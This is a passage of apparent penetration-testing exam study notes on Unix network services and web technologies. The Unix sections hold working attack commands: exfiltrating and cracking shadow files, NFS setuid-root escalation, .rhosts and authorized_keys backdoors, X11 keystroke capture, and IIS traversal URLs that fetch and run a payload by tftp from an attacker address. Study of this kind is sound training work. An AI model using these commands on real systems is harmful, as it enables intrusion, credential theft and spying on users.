- 2.6.16 [4, 5 CVE] [6,CVE]
- 2.6.17 [7 8,CVE] [11, CVE]
    - < 2.6.17.4 [4, 5 CVE] [6,CVE]
- 2.6.18 [7 8,CVE] [11, CVE]
- 2.6.19 [7 8,CVE] [11, CVE]
- 2.6.20 [7 8,CVE] [11, CVE]
- 2.6.21 [7 8,CVE] [11, CVE]
- 2.6.22 [11, CVE]
    - < 2.6.22.7 64bit Only [15 CVE]
- 2.6.23 [11, CVE]

- 2.6.24
    - < 2.6.24.1 [11, CVE]
- 2.6.25 12, [13 14, CVE]
- 2.6.26 12, [13 14, CVE]
- 2.6.27 12, [13 14, CVE]
- 2.6.28 12, [13 14, CVE]
- 2.6.29 12, [13 14, CVE]

F2c - Use of remote exploit code and local exploit code to gain root access to target host

Demo the above exploits

F2d - Common post-exploitation activities:

- **exfiltrate password hashes**

Copy /etc/passwd & /etc/shadow to my hosts

- **crack password hashes**

```
unshadow <password file> <shadow file>
john <password file>
john -show <password file>
```

- **check patch levels**

Solaris:

```
uname -a > uname.out
showrev -p > showrev.out
pkginfo -x > pkginfo.out
```

Debian:

```
dpkg -l  > Installed_packages.txt
```

Redhat:

```
rpm -qa > Installed_packages.txt
```

- **derive list of missing security patches**

Solaris:

```
pca -l -f . missingrs | tee missing_patches.txt
```

Debian & Redhat (linux):

```
Check online or use nessus with credentials
```

- **reversion to previous state**

Clean up after yourself:

- Use single folder for all uploads and saved files then remove folder on completion
- Re-enable services
- Restore changed file/registry permissions
- Remove all added user from machine

F3 – FTP

F3a - FTP access control

FTP access is based on username and password. Users can be provided with specific root folders once access is granted.

F3b - Anonymous access to FTP servers

```
ftp -A <ip>                    (windows client)
USER anonymous
PASS a@b.c
```

F3c - Risks of allowing write access to anonymous users

Upload trojans that may then be run by a privileged user.
Maybe overwrite or write to sensitive files that would allow further access. For example:

```
/etc/passwd
/etc/shadow
/etc/hosts.equiv
.rhosts
.ssh/authorized_keys
```

F4 - Sendmail /SMTP

F4a - Valid username discovery via EXPN and VRFY

```
smtp-user-enum.pl -M VRFY -U users.txt -t <target>
smtp-user-enum.pl -M EXPN -U users.txt -t <target>
smtp-user-enum.pl -M RCPT -U users.txt -t <target>
```

F4b - Awareness of recent Sendmail vulnerabilities; ability to exploit them if possible

Sendmail Address Prescan Memory Corruption Vulnerability
Sormail.c

Sendmail Header Processing Buffer Overflow Vulnerability
Linux86_sendmail.c

Multiple Vendor lpd Vulnerabilities
qib.tgz

Berkeley Sendmail Daemon Mode Vulnerability
Sendmail-dmode.sh

Sendmail Asynchronous Signal Handling Remote Code Execution Vulnerability
Sendtest.c

Security Vulnerability in the in.lpd Daemon (solaris)

```
metasploit          exploit/solaris/lpd/sendmail_exec
```

F4c - Mail relaying

```
nc <target> 25
EHLO
MAIL FROM: test@test.com
RCPT TO: test@test.com
DATA
.
QUIT
```

F5 - Network File System (NFS)

F5a - NFS security: host level (exports restricted to particular hosts) and file level (by UID and GID)

Network File System (NFS) is a network file system protocol originally developed by Sun Microsystems in 1984, allowing a user on a client computer to access files over a network in a manner similar to how local storage is accessed. NFS, like many other protocols, builds on the Open Network Computing Remote Procedure Call (ONC RPC) system. Assuming a Unix-style scenario in which one machine (the client) requires access to data stored on another machine (the NFS server):

- The server implements NFS daemon processes (running by default as nfsd) in order to make its data generically available to clients.
- The server administrator determines what to make available, exporting the names and parameters of directories (typically using the /etc/exports configuration file and the exportfs command) access restrictions are based solely on IP addresses.
- The client machine requests access to exported data, typically by issuing a mount command. (The client asks the server (rpcbind) which port the NFS server is using, the client connects to the NFS server (nfsd), nfsd passes the request to mountd). The client machine can then view and interact with mounted filesystems on the server within the parameters permitted.

Is NFS running?:

```
rpcinfo -p <IP ADDRESS>
    100003    2   udp   2049  nfs
    100003    2   tcp   2049  nfs
```

What is it exporting?:

```
showmount -e <target>
Exports list on ??.??.??.??:
/home/dan                          0.0.0.0/0
or using nfsshell
```

nfsshell:

```
$ nfs
nfs> host <target>
Open ??.??.??.?? (??.??.??.??) TCP
nfs> export
Export list for ??.??.??.??:
/home/dan                0.0.0.0/0
```

Getting In:

exported home dirs?

```
add a .ssh/authorized_key file (chmod 700 authorized_keys)
read a .rhosts file to login
add ++ to the .rhosts file (or create one)
```

exported etc?

```
is there a hosts.equiv file (or create one)
```

Priv Esc:

hardlink to /etc/shadow to the read it

```
ln /etc/shadow shadowRun mount on the box
No nodev - you can create device nodes!
No noexec - you can copy a binary there and execute it
No nosuid - you can (if above applies) create a suid root shell and become root!
read [x]inetd.conf and have write access to any of the files, maybe using suid
process
```

F5b - Root squashing, nosuid and noexec options

nodev:

```
ls -la on /dev/XXXX
hda
sda
mem
```

```
...
$ ls -l /dev/hda1
brw-rw---- 1 root disk 3, 1 Jan 30 09:01 /dev/hda1
create node over nfs using nfsshell
nfs> mknod my-hda1-device b 3 1
nfs> chmod 444 my-hda1-device
now search for shadow file
strings my-hda1-device | grep 'root:'or even replace your users id with 0!
```

noexec:
This is an arse if you try to run a program on file system with this flag on then you will get a message similar to

```
-sh: ./bash: Permission denied
```

If nosuid is not set:
on the server:

```
$ mkdir owned
$ chmod a+rwx owned
$ cd owned
$ cp /bin/bash .
```

on my machine

```
nfs> cd owned
nfs> get bash
nfs> uid 0
nfs> gid 0
nfs> put bash
nfs> chmod 5777
```

back on the server

```
./bash -p
```

F5c - File access through UID and GID manipulation

nfssshell

```
mount -t nfs <ip>:<share> <folder>
become <uid>:<gid>
```

F6 - R* services

F6a – Berkeley r* service:

Daemons:

- rexecd - tcp port 512 (started by [x]inetd) – always requires a username and password
- rlogind - tcp port 513 (started by [x]inetd) – use hosts.equiv & .rhost
- rshell - tcp port 514 (started by [x]inetd) - use hosts.equiv & .rhost

Clients:

- rsh

```
useradd <allowed user>
su <allowed user>
rsh -l <user> <target> 'bash -i'
```

- rlogin

```
rlogin -i <allowed user> -l <user> <target>
```

- rexec

```
rexec.pl -h <target> -u <user> -p <passwd> -S               (shell 'sh -i')
rexec.pl -h <target> -u <user> -p <passwd> -c <command>
```

• access control (/etc/hosts.equiv and .rhosts)

The hosts.equiv and .rhosts files list hosts and users that are trusted by the local host when a connection is made using the rshd/rlogin service.

The hosts.equiv file resides in the ROOTDIR/etc directory and lists the remote machines that may connect to the local machine and the remote user names that may connect. The .rhosts file resides in a user's home directory and specifies the remote machines and remote user names that the user may use to remotely log in to the local machine.

Each line of these files has the format:

```
hostname [username]
```

- hostname may be given as a host name (typically, a fully qualified host name in a DNS environment), an address, or a + character indicating that all hosts are to be trusted.
- username, if specified, may be given as either a user name on the remote host or a + character indicating all users on hostname.

When the optional username is specified, only users with entries on the specified host may log in to the local machine. When username is not specified, any user that has the same user name on both the remote and local machines may log in to the local machine.

Note: Because the rsh and rcp utilities resend the current without the domain if it is too long and the rlogin utility does not, a user may require two entries in the hosts.equiv or .rhosts file. If the full name (including domain) is too long for the rshd service (or daemon) being used, the user needs one entry with the full user name (including domain) for use with rlogind and a second with the same user name minus the domain for use with rshd.

- ### trust relationships

As above

F6b - Impact of poorly-configured trust relationships

Unauthorised access

F7 -X11

X Windows is commonly used by most major Unix-like operating systems as the underlying system for displaying graphical applications. X servers listen on TCP ports 6000 to 6063 (depending on the number of concurrent displays). Most of the time users simply access their local X server, although C can be accessed over a network for remote use.

F7a - X Windows security and configuration; host-based vs. User-based access control

The two authentication mechanisms within X windows are xhost and xautrh.

- xhost -Host based authentication allows user to specify which IP addresses and hosts have access to the X server. The xhost command is used with + and – options to allow and deny X access from individual hosts. Obviously xhost authentication is dangerous and doesn’t provide the granularity required in most environments.
- xauth- This is the most secure mechanism, and generally to be recommended. The X server has a 'cookie' (MIT-MAGIC-COOKIE-1) which is like a temporary password. Only clients who know the password are allowed to access the server. The cookie is generated by xdm and stored in your home directory in the file .Xauthority. This file is maintained by the xauth program. Copying the magic cookie to other computers allows you run x clients on them.

Enumerating xservers:

```
xscan <target[s]>
```

List open terminals on X server:

```
xwininfo -tree -root – display <ip>:0 | grep -i term
```

Take a screenshot:

```
xwd -root -display <ip>:0 | xwud
```

Capture keystrokes:

```
xspy -display <ip>:0
```

F8 - RPC services

ONC RPC, short for Open Network Computing Remote Procedure Call, is a widely deployed remote procedure call system. ONC was originally developed by Sun Microsystems as part of their Network File System project, and is sometimes referred to as Sun ONC or Sun RPC. RPC, is an interface that allows programmers to easily execute code on remote systems, usually Unix-based. Access to RPC services on a machine are provided via a portmapper that listens for queries on a well-known port (number 111) over UDP and TCP.
Often rpc services run with root privileges. Most attacks work due to poor error checking or input validation tests.

1. Best way to protect is to remove the unwanted/unused rpc services.
2. Install all the latest vendor patches.
3. Block at the perimeter the RPC portmapper tcp/udp 111 and other ports
4. Block the RPC loopback ports 32770-32789

F8a - RPC service enumeration

Enumeration:

```
rpcinfo -p <target>
```

F8b - Common RPC services

rpcbind	portmapper gives the port of other rpc services.
status	Provides notification of system reboots to the nfs.
nsm_addrand	Solaris's statd Network Status Monitor (NSM)
sadmind	distributed system administration daemon of Sun Solstice.
rquotad	needed if export or import file systems have quotas
rusersd	service for letting remote systems know which users are logged on
sprayd	Solstice administrator support program
walld	A utility for letting people send messages to every user of the system.
rstatd	A utility for letting remote systems know your load average.
ttdbserverd	This is used for some graphical operations like drag and drop.
kcms_server	Kodak Color Management System (KCMS).
cachefsd	Cache file system daemon used to speed up nfs.
cmsd	This is the CDE Calendar Manager service
vtsk	SunVTS software diagnostic package that tests and validates hardware
nlockmgr	NFS file locking service performs lock recovery when a system crashes or is rebooted. Gets notified by status rpc service.
mountd	Handles mount requests from client of the NFS service
nfs	Implements the user level part of the NFS service.
nfs_acl	Same as nfs but with support for access control lists
dmispd	Sun Solstice Enterprise DMI Service Provider. DMI = desktop management interface = like snmp, uses MIF instead of MIB.
snmpXdmid	Sun Solstice Enterprise SNMP-DMI mapper subagent. Changes snmp request to DMI requests (vice versa with responses).
bootparam	RPC based replacement for bootp.
ypbind	All systems in a NIS domain need to be running this service.
ypserv	NIS servers (Master and Slave servers) should be running this service.

F8b - Recent or commonly-found RPC service vulnerabilities

Vulnerable = sadmind exploit in metaspoilt
“/usr/openwin/bin/xterm –display <myip>:0 &”

BLAH

F9 – SSH

F9a - Identify the types and versions of SSH software in use

Fingerprint SSH service:

```
telnet <ipaddress> 22
ncat <ipaddress> 22
nc <ipaddress> 22

ssh -1 <target>
Protocol major versions differ: 1 vs 2         (if 1 is disabled)
```

F9b - Securing SSH

- Protocol - The older protocol version 1 (one) has significant well-known vulnerabilities and available exploits, therefore it is not to be used. "2" (two) is a more recent version of the ssh protocol and is more robust and safer to use. Whereas version 1 lacks a strong mechanism for ensuring the security of the communications connection.
- PubkeyAuthentication - Public Key Authentication is stronger than password based. It is the recommended default. It requires the establishment and exchange of public and private key pairs.
- PermitRootLogin - The secure answer for this is 'no'. By default, users should login to the system with their own non-privilege userID, and either utilize sudo or su to root to perform administrative functions.
- IgnoreRhosts - Will be set to 'no' and thus denies usage of insecure authentication via .rhost files.
- PasswordAuthentication - Will be set to 'no', denying insecure usage of passwords from the /etc/passwd file for allowed users, thus leveraging an emphasis on public/private keys.
- PermitEmptyPasswords -Will be set to 'no' to prevent userIDs with blank passwords on this system from being accessed remotely.

F9c - Versions 1 and 2 of the SSH protocol

Since SSH-1 has inherent design flaws which make it vulnerable (e.g., man-in-the-middle attacks), it is now generally considered obsolete and should be avoided by explicitly disabling fallback to SSH-1. In all versions of SSH, it is important to verify unknown public keys before accepting them as valid. Accepting an attacker's public key as a valid public key has the effect of disclosing the transmitted password and allowing man-in-the-middle attacks.

F9d - Authentication mechanisms within SSH

- Password - a method for straightforward password authentication, including a facility allowing a password to be changed.
- Publickey - a method for public key-based authentication, usually supporting at least DSA or RSA keypairs.
- Keyboard-interactive - a versatile method where the server sends one or more prompts to enter information and the client displays them and sends back responses keyed-in by the user. Used to provide one-time password authentication such as S/Key or SecurID.
- GSSAPI authentication - providing an extensible scheme to perform SSH authentication using external mechanisms such as Kerberos 5 or NTLM, providing single sign on capability to SSH sessions.

Web Technologies

ID	Skill	Detail	Exam
G1	Web Server Operation	How a web server functions in terms of the client/server architecture. Concepts of virtual hosting and web proxies.	MC
G2	Web Servers & their Flaws	Common web servers and their fundamental differences and vulnerabilities associated with them: • IIS • Apache (and variants)	MC P
G3	Web Enterprise Architectures	Design of tiered architectures. The concepts of logical and physical separation. Differences between presentation, application and database layers.	MC
G4	Web Protocols	Web protocols: HTTP, HTTPS, SOAP. All HTTP web methods and response codes.	MC P
G5	Web Mark-up Languages	Web mark-up languages: HTML and XML.	MC
G6	Web Programming Languages	Common web programming languages: JSP, ASP, PHP, CGI based Perl and JavaScript.	MC
G8	Web APIs	Application interfaces: CGI, ISAPI filters and Apache modules.	MC

G1 - Web Server Operation

G1a - How a web server functions in terms of the client/server architecture

A web server processes HTTP requests and serves responses. The term "web server" can refer either to web server software or to the particular device or computer dedicated to serving the web pages.
HTTP traffic consists of request and responses. All HTTP traffic can be associated with the task of requesting content or responding to those requests. Every HTTP message sent from a Web browser to a Web server is classified as an HTTP request, whereas every message sent from a Web server to a Web browser is classified as an HTTP response.

G1b - Concepts of virtual hosting and web proxies

Virtual hosting:

Many web hosters offer lower-cost web hosting services by sharing one computer between several customers. This is called shared hosting or virtual hosting. Each web site appears to be hosted by a different server, but they really are hosted on the same physical server. From the end user's perspective, virtually hosted web sites should be indistinguishable from sites hosted on separate dedicated servers. Enhanced versions of HTTP/1.0 and the official version of HTTP/1.1 define a Host request header that carries the site name. The web server can identify the virtual site from the Host header.

Web Proxies:

Web proxy servers are middlemen that fulfill transactions on the client's behalf. Without a web proxy, HTTP clients talk directly to HTTP servers. With a web proxy, the client instead talks to the proxy, which itself communicates with the server on the client's behalf. The client still completes the transaction, but through the good services of the proxy server.

HTTP proxy servers are both web servers and web clients. Because HTTP clients send request messages to proxies, the proxy server must properly handle the requests and the connections and return responses, just like a web server. At the same time, the proxy itself sends requests to servers, so it must also behave like a correct HTTP client, sending requests and receiving responses

G2 - Web Servers & their Flaws

G2a - Common web servers and their fundamental differences and vulnerabilities associated with them:

• IIS

IIS Vulnerabilities:

There are various extensions that are mapped to different handler DLLs in a default installation of IIS 5.0. It is possible to detect the presence of each file extension mapping via the different error messages generated when that file extension is requested. In some cases, discovering a particular mapping may indicate the presence of a web server vulnerability —for example, the .printer and .ida/.idq handlers in IIS have in the past been found vulnerable to buffer overflow vulnerabilities. An example of the first problem is the CodeBrws.asp sample script that shipped with older versions of Microsoft IIS server. Other IIS sample scripts have contained vulnerabilities which enabled an attacker to execute database queries, brute force Windows account credentials, and perform cross-site scripting. In addition to fixing the specific vulnerabilities concerned, Microsoft has removed sample content altogether from later versions of IIS, to prevent this kind of problem from arising.

WebDav:

• COPY — Copies the specified resource to the location given in the Destination header.
• MOVE — Moves the specified resource to the location given in the Destination header.
• SEARCH — Searches a directory path for resources.
• PROPFIND — Retrieves information about the specified resource, such as author, size, and content type.
Several of these methods are part of the WebDAV (Web-based Distributed Authoring and Versioning) extensions to the HTTP protocol, which allow for collaborative editing and management of web server content. Older versions of IIS 5 contained a vulnerability whereby the WebDAV SEARCH method could be used to obtain a listing of the web root and all subdirectories.

URL Dbl Decode :

```
scripts/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:
```

Unicode Decode:

```
scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
```

The Good Commands:

```
/scripts/..%c1%9c../winnt/system32/tftp.exe?-i+192.168.1.122+get+mt.exe
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+mt.exe
```

You may need to find a writeable directory, try the %TEMP% ones c:\windows\TEMP

Creating File:

make a copy of cmd.exe called something else and echo > it may work!

```
/scripts/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\c.exe
```

Metasploit:

```
windows/iis/ms01_023_printer - Microsoft IIS 5.0 Printer Host Header Overflow
windows/iis/ms01_033_idq - Microsoft IIS 5.0 IDQ Path Overflow
windows/iis/ms02_018_htr - Microsoft IIS 4.0 .HTR Path Overflow
windows/iis/ms03_007_ntdll_webdav - Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
windows/isapi/fp30reg_chunked - Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow
windows/isapi/ms00_094_pbserver - Microsoft IIS Phone Book Service Overflow
windows/isapi/nsiislog_post - Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow
```

```
windows/isapi/rsa_webagent_redirect - Microsoft IIS ISAPI RSA WebAgent Redirect
Overflow
windows/isapi/w3who_query - Microsoft IIS ISAPI w3who.dll Query String Overflow
```

- ### Apache (and variants)

Apache
Apache Scalp

Apache Tomcat
Sample Scripts:
An example of the second problem is the Sessions Example script shipped with Apache Tomcat. As shown in Figure 17-2, this can be used to get and set arbitrary session variables. If an application running on the server stores sensitive data in a user's session, an attacker can view this and may be able to interfere with the application's processing by modifying its value.

G3 - Web Enterprise Architectures

G3a - Design of tiered architectures

The use of a tiered architecture can improve upon Reliability, Performance, and Security. There are three major types of servers in a typical tier architecture environment:

- Web server
- Application server
- Database server

Web applications are going to be exposed to many risks simply by the fact that they must be exposed to the Internet. Many Web environments are considered demilitarized zones (DMZs), alluding to the idea that they are the fringes of the battlefield and generally less protected than the local network.

G3b - The concepts of logical and physical separation

- Logical separation - different services/processes on the same server.
- Physical separation - different hardware and possibly network segments

G3c - Differences between presentation, application and database layers

- A Web server is the server responsible for responding to the HTTP requests received from the Web client.
- The application server is the server responsible for performing any necessary server-side logic required to generate the appropriate response. In many cases, these two are identical, although it is possible to separate the two, and there are sometimes benefits to doing so, which I will address shortly.
- The database server is responsible for the interaction between the application server and the data store.

G4 - Web Protocols

G4a - Web protocols: HTTP, HTTPS, SOAP

Hypertext Transfer Protocol (HTTP):

Hypertext Transfer Protocol (HTTP) is a communications protocol for the transfer of information on the Internet. Its use for retrieving inter-linked text documents (hypertext) led to the establishment of the World Wide Web.

HTTPS:

Hypertext Transfer Protocol over Secure Socket Layer or HTTPS is a URI scheme used to indicate a secure HTTP connection. It is syntactically identical to the http:// scheme normally used for accessing resources using HTTP. Using an https: URL indicates that HTTP is to be used, but with a different default TCP port (443) and an additional encryption/authentication layer between the HTTP and TCP. TLS/SSL are used as the encryption/authentication layer.

SOAP:

SOAP is a protocol for exchanging XML-based messages over computer networks, normally using HTTP/HTTPS. SOAP forms the foundation layer of the web services protocol stack providing a basic messaging framework upon which abstract layers can be built. As a layman's example of how SOAP procedures can be used, a correctly formatted call could be sent to a Web Service enabled web site - for example, a house price database - with the data ranges needed for a search. The site could then return a formatted XML document with all the required results and associated data (prices, location, features, etc). These could then be integrated directly into a third-party site. There are several different types of messaging patterns in SOAP, but by far the most common is the Remote Procedure Call (RPC) pattern, in which one network node (the client) sends a request message to another node (the server) and the server immediately sends a response message to the client.

G4b - All HTTP web methods and response codes

HTTP Request methods:

- HEAD Asks for the response identical to the one that would correspond to a GET request, but without the response body. This is useful for retrieving meta-information written in response headers, without having to transport the entire content.
- GET Requests a representation of the specified resource. By far the most common method used on the Web today. Should not be used for operations that cause side-effects (using it for actions in web applications is a common misuse). See safe methods below.
- POST Submits data to be processed (e.g. from an HTML form) to the identified resource. The data is included in the body of the request. This may result in the creation of a new resource or the updates of existing resources or both.
- PUT Uploads a representation of the specified resource.
- DELETE Deletes the specified resource.
- TRACE Echoes back the received request, so that a client can see what intermediate servers are adding or changing in the request.
- OPTIONS Returns the HTTP methods that the server supports for specified URL. This can be used to check the functionality of a web server by requesting '*' instead of a specific resource.
- CONNECT Converts the request connection to a transparent TCP/IP tunnel, usually to facilitate SSL-encrypted communication (HTTPS) through an unencrypted HTTP proxy.

IIS can also use WEBDAV which implements:

- PROPFIND Used to retrieve properties, stored as XML, from a resource. It is also overloaded to allow one to retrieve the collection structure (a.k.a. directory hierarchy) of a remote system.
- PROPPATCH Used to change and delete multiple properties on a resource in a single atomic act.
- MKCOL Used to create collections (a.k.a. directory).
- COPY Used to copy a resource from one URI to another.
- MOVE Used to move a resource from one URI to another.
- LOCK Used to put a lock on a resource. WebDAV supports both shared and exclusive locks.
- UNLOCK To remove a lock from a resource.

HTTP Response Codes (common):

- 100 Continue This response is sent in some circumstances when a client submits a request containing a body. The response indicates that the request headers were received and that the client should continue sending the body. The server will then return a second response when the request has been completed.
- 200 OK This indicates that the request was successful and the response body contains the result of the request.
- 201 Created This is returned in response to a PUT request to indicate that the request was successful.
- 302 Found This redirects the browser temporarily to a different URL, which is specified in the Location header. The client should revert to the original URL in subsequent requests.

304	Not Modified	This instructs the browser to use its cached copy of the requested resource. The server uses the If-Modified-Since and If-None-Match request headers to determine whether the client has the latest version of the resource.
400	Bad Request	This indicates that the client submitted an invalid HTTP request. You will probably encounter this when you have modified a request in certain invalid ways, for example by placing a space character into the URL.
401	Unauthorized	The server requires HTTP authentication before the request will be granted. The WWW-Authenticate header contains details of the type(s) of authentication supported.
403	Forbidden	This indicates that no one is allowed to access the requested resource, regardless of authentication.
404	Not Found	This indicates that the requested resource does not exist.
405	Method Not Allowed	This indicates that the method used in the request is not supported for the specified URL. For example, you may receive this status code if you attempt to use the PUT method where it is not supported.
413	Request Entity Too Large	If you are probing for buffer overflow vulnerabilities in native code, and so submitting long strings of data, this indicates that the body of your request is too large for the server to handle.
414	Request URI Too Long	Similar to the previous response, this indicates that the URL used in the request is too large for the server to handle.
500	Internal Server Error	This indicates that the server encountered an error fulfilling the request. This normally occurs when you have submitted unexpected input that caused an unhandled error somewhere within the application’s processing. You should review the full contents of the server’s response closely for any details indicating the nature of the error.
503	Service Unavailable	This normally indicates that, although the web server itself is functioning and able to respond to requests, the application accessed via the server is not responding. You should verify whether this is the result of any action that you have performed.

G5 - Web Mark-up Languages

G5a - Web mark-up languages: HTML and XML

- HTML, which stands for HyperText Markup Language, is the predominant markup language for web pages. It provides a means to create structured documents by denoting structural semantics for text such as headings, paragraphs, lists etc as well as for links, quotes, and other items. It allows images and objects to be embedded and can be used to create interactive forms. It is written in the form of HTML elements consisting of "tags" surrounded by angle brackets within the web page content. It can include or can load scripts in languages such as JavaScript which affect the behavior of HTML processors like Web browsers; and Cascading Style Sheets (CSS) to define the appearance and layout of text and other material.
- XML (Extensible Markup Language) is a set of rules for encoding documents electronically. It is defined in the XML 1.0 Specification produced by the W3C, and several other related specifications, all gratis open standards. XML's design goals emphasize simplicity, generality, and usability over the Internet. It is a textual data format, with strong support via Unicode for the languages of the world. Although XML's design focuses on documents, it is widely used for the representation of arbitrary data structures, for example in web services. There are many programming interfaces that software developers may use to access XML data, and several schema systems designed to aid in the definition of XML-based languages. Hundreds of XML-based languages have been developed, including RSS, Atom, SOAP, and XHTML. XML-based formats have become the default for most office-productivity tools, including Microsoft Office (Office Open XML), OpenOffice.org (OpenDocument), and Apple's iWork.

G6 - Web Programming Languages

G6a - Common web programming languages: JSP, ASP, PHP, CGI based Perl and JavaScript

- JavaServer Pages (JSP) is a Java technology that helps software developers serve dynamically generated web pages based on HTML, XML, or other document types. Architecturally, JSP may be viewed as a high-level abstraction of Java servlets. JSP pages are loaded in the server and operated from a structured special installed Java server packet called a Java EE Web Application, often packaged as a .war or .ear file archive. JSP allows Java code and certain pre-defined actions to be interleaved with static web markup content, with the resulting page being compiled and executed on the server to deliver an HTML or XML document. The compiled pages and any dependent Java libraries use Java bytecode rather than a native software format, and must therefore be executed within a Java virtual machine (JVM) that integrates with the host operating system to provide an abstract platform-neutral environment.
- Active Server Pages (ASP), also known as Classic ASP or ASP Classic, was Microsoft's first server-side script engine for dynamically-generated web pages. It has now been superseded by ASP.NET. Developing functionality in ASP websites is enabled by the active scripting engine's support of the Component Object Model (COM), with each object providing a related group of frequently-used functions and data attributes. In ASP 2.0 there were six built-in objects: Application, ASPError, Request, Response, Server, and Session. Session, for example, is a cookie-based session object that maintains the state of variables from page to page. Web pages with the .asp file extension use ASP, although some Web sites disguise their choice of scripting language for security purposes Pages with the .aspx extension are ASP.NET (based on Microsoft's .NET Framework) and compiled, which makes them faster and more robust than server-side scripting in ASP which is interpreted at run-time. Most ASP pages are written in VBScript, but any other Active Scripting engine can be selected instead by using the @Language directive or the <script language="language" runat="server"> syntax.
- PHP: Hypertext Preprocessor is a widely used, general-purpose scripting language that was originally designed for web development to produce dynamic web pages. For this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor module, which generates the web page document. As a general-purpose programming language, PHP code is processed by an interpreter application in command-line mode performing desired operating system operations and producing program output on its standard output channel. I
- The Common Gateway Interface (CGI) is a standard that defines how web server software can delegate the generation of web pages to a console application. Such applications are known as CGI scripts; they can be written in any programming language, although scripting languages are often used. In simple words the CGI provides an interface between the web servers and the clients. They will identify the request from client and will invoke appropriate function to return the result to the requested clients. The most common scripting language used for CGI is perl.
- JavaScript is a prototype-based object-oriented scripting language used to enable programmatic access to computational objects within a host environment. Although also used in other applications, it is primarily used in the form of client-side JavaScript, implemented as part of a web browser, providing enhanced user interfaces and dynamic websites. JavaScript is a dialect of the ECMAScript standard and is characterized as a dynamic, weakly typed, prototype-based language with first-class functions. JavaScript was influenced by many languages and was designed to look like Java, but to be easier for non-programmers to work with.

G8 - Web APIs

G8a - Application interfaces: CGI, ISAPI filters and Apache modules

- The Common Gateway Interface (CGI) is a standard that defines how web server software can delegate the generation of web pages to a console application. Such applications are known as CGI scripts; they can be written in any programming language, although scripting languages are often used. In simple words the CGI provides an interface between the web servers and the clients. They will identify the request from client and will invoke appropriate function to return the result to the requested clients. The most common scripting language used for CGI is perl.
- The Internet Server Application Programming Interface (ISAPI) is an N-tier API of Internet Information Services (IIS), Microsoft's collection of Windows-based web server services. The most prominent application of IIS and ISAPI is Microsoft's web server. ISAPI consists of two components: Extensions and

Filters. These are the only two types of applications that can be developed using ISAPI. Both Filters and Extensions must be compiled into DLL files which are then registered with IIS to be run on the web server. ISAPI applications can be written using any language which allows the export of standard C functions, for instance C, C++, Delphi. ISAPI Extensions are true applications that run on IIS. They have access to all of the functionality provided by IIS. ISAPI extensions are implemented as DLLs that are loaded into a process that is controlled by IIS. Clients can access ISAPI extensions in the same way they access a static HTML page. Certain file extensions or a complete folder or site can be mapped to be handled by an ISAPI extension. ISAPI filters are used to modify or enhance the functionality provided by IIS. They always run on an IIS server and filter every request until they find one they need to process. Filters can be programmed to examine and modify both incoming and outgoing streams of data. Internally programmed and externally configured priorities determine in which order filters are called. Filters are implemented as DLL files and can be registered on an IIS server on a site level or a global level (i.e., they apply to all sites on an IIS server). Filters are initialised when the worker process is started and listens to all requests to the site on which it is installed.

- Apache supports a variety of features, many implemented as compiled modules which extend the core functionality. These can range from server-side programming language support to authentication schemes. Some common language interfaces support Perl, Python, Tcl, and PHP. Popular authentication modules include mod_access, mod_auth, mod_digest, and mod_auth_digest, the successor to mod_digest. A sample of other features include SSL and TLS support (mod_ssl), a proxy module (mod_proxy), a URL rewriter (also known as a rewrite engine, implemented under mod_rewrite), custom log files (mod_log_config), and filtering support (mod_include and mod_ext_filter). Popular compression methods on Apache include the external extension module, mod_gzip, implemented to help with reduction of the size (weight) of web pages served over HTTP. ModSecurity is an open source intrusion detection and prevention engine for web applications. Apache logs can be analyzed through a web browser using free scripts such as AWStats/W3Perl or Visitors.

Web Testing Methodologies

ID	Skill	Detail	Exam
H1	Web Application Reconnaissance	Benefits of performing application reconnaissance. Discovering the structure of web applications. Methods to identify the use of application components defined in G1 to G9.	MC
H2	Threat Modelling and Attack Vectors	Simple threat modelling based on customer perception of risk. Relate functionality offered by the application to potential attack vectors.	MC
H3	Information Gathering from Web Mark-up	Examples of the type of information available in web page source that may prove useful to an attacker: • Hidden Form Fields • Database Connection Strings • Credentials • Developer Comments • Other included files • Authenticated-only URLs	MC
H4	Authentication Mechanisms	Common pitfalls associated with the design and implementation of application authentication mechanisms.	MC
H5	Authorisation Mechanism	Common pitfalls associated with the design and implementation of application authorisation mechanisms.	MC
H6	Input Validation	The importance of input validation as part of a defensive coding strategy. How input validation can be implemented and the differences between white listing, black listing and data sanitisation.	MC
H8	Information Disclosure in Error Messages	How error messages may indicate or disclose useful information.	MC
H9	Use of Cross Site Scripting Attacks	Potential implications of a cross site scripting vulnerability. Ways in which the technique can be used to benefit an attacker.	MC
H10	Use of Injection Attacks	Potential implications of injection vulnerabilities: • SQL injection • LDAP injection • Code injection • XML injection Ways in which these techniques can be used to benefit an attacker.	MC
H11	Session Handling	Common pitfalls associated with the design and implementation of session handling mechanisms.	MC

H12	Encryption	Common techniques used for encrypting data in transit and data at rest, either on the client or server side.	MC
H13	Source Code Review	Common techniques for identifying and reviewing deficiencies in the areas of security.	MC

H1 - Web Application Reconnaissance

H1a - Benefits of performing application reconnaissance

H1b - Discovering the structure of web applications

Map the Application:

- Explore Displayed Content - This involves stepping through the application manually as well as using spidering and brute force automation to discover all the applications content.
- Consult Public Resources - This involves using various searching techniques to discover indexed and cached content using powerful search engines.
- Discover Hidden Content - This involves determining how the app handles non-existant content then following a number of logic methods of informed guessing and brute forcing pages to find content not directly linked in the main site.
- Discover Default Content - This involves running a tool that will discover default or well known content such as default IIS or Apache pages, then determining any false positives and verifying all findings.
- Enumerate Identifier-Specified Functions - This is similar to the hidden content step but is in regards to functions on pages and attempting to discover different parameters.
- Test for Debug Parameters - This is similar to the previous step but in regards to debug parameters which are often within an application to help developers find the causes to errors in the app.

Analyse the Application:

- Identify functionality - This involves determining all the core functions the app is intended to do, all the core security mechanisms and all additional functions and behaviour.
- Identify Entry Points - This involves looking at all the area's of user input, including the cookies and HTTP headers sent in each request and attempting to determine all the ways that the application accepts data.
